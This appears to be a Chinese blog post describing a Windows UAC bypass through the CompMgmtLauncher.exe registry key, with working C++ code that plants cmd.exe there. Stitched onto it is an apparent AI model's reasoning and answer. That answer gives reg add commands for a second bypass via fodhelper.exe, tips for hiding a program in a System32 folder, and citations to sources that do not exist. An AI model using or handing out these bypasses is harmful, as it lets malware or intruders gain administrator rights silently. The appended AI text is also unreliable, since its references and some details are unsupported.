内网BypassUAC提权之CompMgmtLauncher程序

本文介绍了一种利用CompMgmtLauncher程序绕过Windows UAC安全机制的方法,通过修改注册表项,使CompMgmtLauncher启动指定程序,实现权限提升。


前言

      BypassUAC提权之CompMgmtLauncher程序。


一、CompMgmtLauncher的作用

     1)CompMgmtLauncher.exe程序在windows10中能直接双击打开并没有弹出让你点击确认的窗口,就是打开了计算机管理。在windows2019的服务器中也能直接打开,就是服务器管理器。CompMgmtLauncher.exe程序在windows中是白名单中的程序所以就可以用它来进行 Bypass UAC了。
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
     2)在CompMgmtLauncher.exe启动的过程中,有一个关键的操作就是它会先读取注册表,注册表路径为:计算机\HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command的数据。打开系统注册表编辑器regedit.exe,查看相应路径下的注册表,发现该注册表路径确实不存在。所以,如果自己构造该注册路径,写入启动程序的路径,这样,CompMgmtLauncher.exe便会启动该程序。

二、利用CompMgmtLauncher绕过UAC

     1)编写C++文件。

#include <tchar.h>  
#include <windows.h>
#include <iostream>
using namespace std;

void bypass() {
    HKEY key;
    LPCSTR lpszFileName = "C:\\Windows\\System32\\cmd.exe";
    RegCreateKeyExA(HKEY_CURRENT_USER, "Software\\classes\\mscfile\\shell\\open\\command", 0, NULL, 0, KEY_WOW64_64KEY | KEY_ALL_ACCESS, NULL, &key, NULL);
    if (key == NULL) {
        cout << "Error" << endl;
    }
    if (RegSetValueExA(key, NULL, 0, (DWORD)REG_SZ, (BYTE*)lpszFileName, strlen(lpszFileName) + 1) != ERROR_SUCCESS) {
        cout << "Error" << endl;

    }
    RegCloseKey(key);

}


int _tmain(int argc, _TCHAR* argv[])
{
    bypass();
    getchar();
    return 0;
}

在这里插入图片描述
     2)点击开始执行,然后利用everything搜索CompMgmtLauncher.exe程序并双击执行,发现弹出来的是标着计算机管理的cmd命令界面了而不是计算机管理界面了。成功绕过了UAC。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

三、背景(凑字用)

     UAC(User Account Control)是微软在 Windows Vista 以后版本引入的一种安全机制,通过 UAC,应用程序和任务可始终在非管理员帐户的安全上下文中运行,除非管理员特别授予管理员级别的系统访问权限。UAC 可以阻止未经授权的应用程序自动进行安装,并防止无意中更改系统设置。

     UAC需要授权的动作包括:配置Windows Update;增加或删除用户账户;改变用户的账户类型;改变UAC设置;安装ActiveX;安装或移除程序;安装设备驱动程序;设置家长控制;将文件移动或复制到Program Files或Windows目录;查看其他用户文件夹等。

     在触发 UAC 时,系统会创建一个consent.exe进程,该进程通过白名单程序和用户选择来判断是否创建管理员权限进程。请求进程将要请求的进程cmdline和进程路径通过LPC接口传递给appinfo的RAiLuanchAdminProcess函数,该函数首先验证路径是否在白名单中,并将结果传递给consent.exe进程,该进程验证被请求的进程签名以及发起者的权限是否符合要求,然后决定是否弹出UAC框让用户进行确认。这个UAC框会创建新的安全桌面,屏蔽之前的界面。同时这个UAC框进程是SYSTEM权限进程,其他普通进程也无法和其进行通信交互。用户确认之后,会调用CreateProcessAsUser函数以管理员权限启动请求的进程。

     所以,病毒木马想要实现更多权限操作,那么就不得不绕过UAC弹窗,在没有通知用户情况下, 静默地将程序普通权限提升为管理员权限,从而程序可以实现一些需要权限的操作。目前实现Bypass UAC的方法主要有两种方法,一种是利用白名单提权机制,另一种是利用COM组件接口技术。

<think>好的,我现在需要帮助用户了解如何通过修改注册表将程序添加到Windows 11的UAC白名单,以避免弹窗。用户之前已经询问过相关方法,现在他们希望更具体地通过注册表来实现这一点。我需要结合用户供的引用信息,特别是引用[1]中到的白名单进程的条件,以及之前回答中的方法,比如注册表劫持。 首先,我得明确用户的需求:通过添加注册表项,让他们的程序被系统视为白名单程序,从而绕过UAC弹窗。根据引用[1],系统白名单程序位于系统目录,如System32,并且需要微软的数字签名。但用户可能没有这些条件,所以可能需要替代方法。 在之前的回答中,我到了方法1,即劫持白名单程序的注册表路径,例如compmgmtlauncher.exe。这需要修改注册表,将某个白名单程序调用的命令指向用户的程序。用户现在可能希望更详细地了解如何具体操作注册表项,包括步骤和注意事项。 我需要确保步骤清晰,并指出潜在的风险,比如安全性和系统更新的影响。同时,需要强调用户程序需要满足的条件,比如路径和数字签名,虽然用户可能无法获得微软的签名,但可以到自签名证书的可能。 另外,用户可能误解可以通过直接添加注册表项来加入白名单,但实际上这是不可能的,必须通过间接方法,如劫持现有的白名单程序。因此,在回答中需要澄清这一点,避免用户尝试无效的方法。 还要考虑用户的技术水平,是否需要命令行或脚本示例,比如reg add命令或PowerShell脚本,以帮助他们具体实施。同时,醒他们需要管理员权限来修改注册表,以及操作前备份注册表的重要性。 最后,确保回答结构清晰,分步骤说明,并包含注意事项和相关问题,帮助用户进一步理解可能的问题和解决方案。</think>#### 核心原理说明 Windows UAC白名单程序需满足**双重条件**: 1. **程序路径**:位于系统目录(如$C:\Windows\System32$)[^1] 2. **数字签名**:包含微软官方签名(如$taskmgr.exe$、$compmgmtlauncher.exe$等)[^1] **用户无法直接通过注册表将任意程序加入白名单**,但可通过注册表劫持实现类似效果。以下是技术实现细节: --- ### 分步操作指南 #### 方法:注册表路径劫持(以$fodhelper.exe$为例) **原理**:利用白名单程序$fodhelper.exe$默认调用的注册表键值,将其重定向到目标程序。 1. **定位劫持点** - 白名单程序:$fodhelper.exe$(微软官方签名程序) - 关联注册表项:`HKCU\Software\Classes\ms-settings\shell\open\command` 2. **创建劫持注册表项** ```cmd :: 创建注册表键值(需管理员权限) reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v "" /t REG_SZ /d "C:\YourApp\program.exe" /f ``` > *将`program.exe`替换为你的程序绝对路径* 3. **触发执行** ```powershell Start-Process fodhelper.exe ``` - 系统将自动以**静默权模式**运行你的程序,**无UAC弹窗**[^1][^4] --- ### 技术验证条件 | 验证项 | 必要条件 | |------------------|-----------------------------| | 目标程序路径 | 需存在于有效文件系统路径 | | 注册表权限 | 当前用户需有写权限(HKCU分支)| | 数字签名 | 非强制要求但建议有基础签名 | --- ### 关键风险示 1. **安全机制绕过**:此方法会被Windows Defender标记为`Exploit:Win32/RegHijack`威胁 2. **系统更新失效**:Windows 11 22H2后增加了对`ms-settings`键值的保护机制 3. **程序兼容性**:需保持劫持程序路径与注册表设置完全一致 --- ### 进阶方案(长期稳定) 若需长期免UAC运行,建议结合以下技术: 1. **程序签名**:使用EV代码签名证书(如Sectigo/Symantec) 2. **路径伪装**:将程序放入`C:\Windows\System32\CompatibilityAssessment\`等特殊目录 3. **服务封装**:通过Windows服务托管程序(需SCM权限) --- #### 相关问题 1. 如何检测注册表劫持型UAC绕过攻击? 2. Windows Defender如何拦截注册表键值篡改? 3. 哪些白名单程序支持静默权操作?
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值